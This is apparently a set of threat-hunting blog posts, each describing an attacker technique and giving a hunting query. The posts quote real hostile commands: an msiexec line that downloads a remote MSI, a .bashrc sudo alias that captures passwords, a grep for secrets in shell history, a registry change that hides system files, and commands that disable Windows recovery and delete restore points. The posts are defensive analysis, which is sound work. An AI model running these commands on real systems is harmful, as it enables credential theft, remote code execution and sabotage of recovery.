Know Your Adversary

Hello everyone! Today, we're once again going to talk about legitimate services, this time in the context of attackers setting up their infrastructure using the Acquire Infrastructure: Web Services (T1583.006) technique. In this case, the attackers leveraged Microsoft Power BI. They used the service to create dashboards containing embedded phishing links. The link in the email looked like this: hxxps[://]app.powerbi[.]com/view?r=eyJrIjoiNTk0NmViNDktYzM1Yy00MjEwLTkyZTctNGU5ZTJmYzMzYjEwIiwidCI6IjU1YTI4YmU2LTFiYzQtNDIzMS05MTA0LTdkMmFlYTVmMGZhNiJ9 Since the link pointed to a legitimate service, emails containing such links could easily bypass security controls. Moreover, the use of a trusted service made the message appear more credible to potential victims. Naturally, especially in environments where this service is not actively used, access to it can be a good candidate for threat hunting: event_type: "dnsreqwin" AND dns_rname: "powerbi.com" See you soon!

Hello everyone! Attackers continue to experiment with legitimate services to host malicious payloads. Today, we’ll look at another interesting example. This time, the example comes from the operators of Warlock Ransomware. The attackers used msiexec and several legitimate file-hosting services to download malicious files onto a compromised system. One of the services they used was Litterbox, a temporary file-sharing service from Catbox.moe that allows users to upload files and share links to them: msiexec.exe /q /i "hxxps://litter.catbox[.]moe/6f5tdt.msi" Naturally, we can hunt for suspicious communications with this service initiated by system utilities that attackers commonly abuse to execute malicious files from remote resources, such as msiexec: event_type: "dnsreqwin" AND dns_rname: "catbox.moe" AND proc_file_path: "msiexec.exe" See you soon!

Hello everyone! We don't often talk about attacks targeting Linux, but I recently came across an interesting report describing several credential access techniques: Input Capture (T1056) , Credentials In Files (T1552.001) , and Shell History (T1552.003) . First, the attackers replaced the legitimate .bashrc file with their own version, which included a command to capture credentials: alias sudo='echo -n "[sudo] password for $USER: " && read -r p && echo "$USER:$p" | base64 -w0 >>/dev/shm/Solarwinds.StatusLog.txt && /usr/bin/sudo $@' We can hunt for newly created .bashrc files using the following query: event_type: "filecreatenix" AND file_path: "bashrc" Second, the attackers searched for credentials in .bash_history and .mysql_history files : /bin/sh -c grep -r 'password|passwd|secret' /root/.bash_history 2>/dev/null; cat /root/.mysql_history 2>/dev/null | tail -30 Similar suspicious acti...

Hello everyone! As you know, attackers often change the attributes of malicious files to hide them from users, system administrators, and cybersecurity professionals. However, in some cases, system settings are configured to display even hidden system files. And, of course, malware can do something about that! Today, let's take a look at a piece of malware with an interesting name: KGB RAT . Examining its behavioral indicators, we can identify an unusual one: a registry modification designed to hide protected operating system files, followed by refreshing Windows Explorer windows using PowerShell: cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t REG_DWORD /d 0 /f && powershell -command "&{ $null = New-Object -ComObject Shell.Application; (New-Object -ComObject Shell.Application).Windows() | ForEach-Object { $_.Refresh() }}" Such a configuration change is certainly suspicious and can be used f...

Hello everyone! Today, we’ll take another look at the Inhibit System Recovery (T1490) technique, this time focusing on how threat actors use the Microsoft Windows Recovery Agent. As you already know, attackers do not always limit themselves to deleting shadow copies. They may also disable other operating system recovery capabilities. In this case, the attackers also disabled the Windows Recovery Environment (WinRE). To do so, the Settra ransomware executed the following command: reagentc /disable Of course, this activity can be legitimate. Nevertheless, it is quite suitable for proactive threat hunting: event_type: "processcreatewin" AND proc_file_path: "reagentc.exe" AND cmdline: "disable" Once again, it is worth noting that although this was part of the ransomware’s functionality in this particular case, the same technique can also be used by attackers as part of their preparations for encrypting an IT environment. See you soon!

Hello everyone! Ransomware doesn’t always involve particularly interesting techniques, but there are exceptions. Today, we’ll look at a noteworthy example of Inhibit System Recovery (T1490) . Let’s take a closer look at Monkey Ransomware and how it attempts to prevent a compromised system from being recovered. In addition to more common techniques, such as deleting shadow copies and the local Windows Backup catalog, the malware also disables System Restore and removes existing restore points: powershell.exe -Command "Disable-ComputerRestore -Drive C:\" powershell.exe -Command "Get-ComputerRestorePoint | Remove-ComputerRestorePoint -RestorePointType All" These actions are often performed immediately before or alongside the encryption process. However, attackers may also use scripts to disable recovery mechanisms before deploying the ransomware. This creates an interesting detection opportunity: if we can catch these commands before the ransomware is deployed, we may...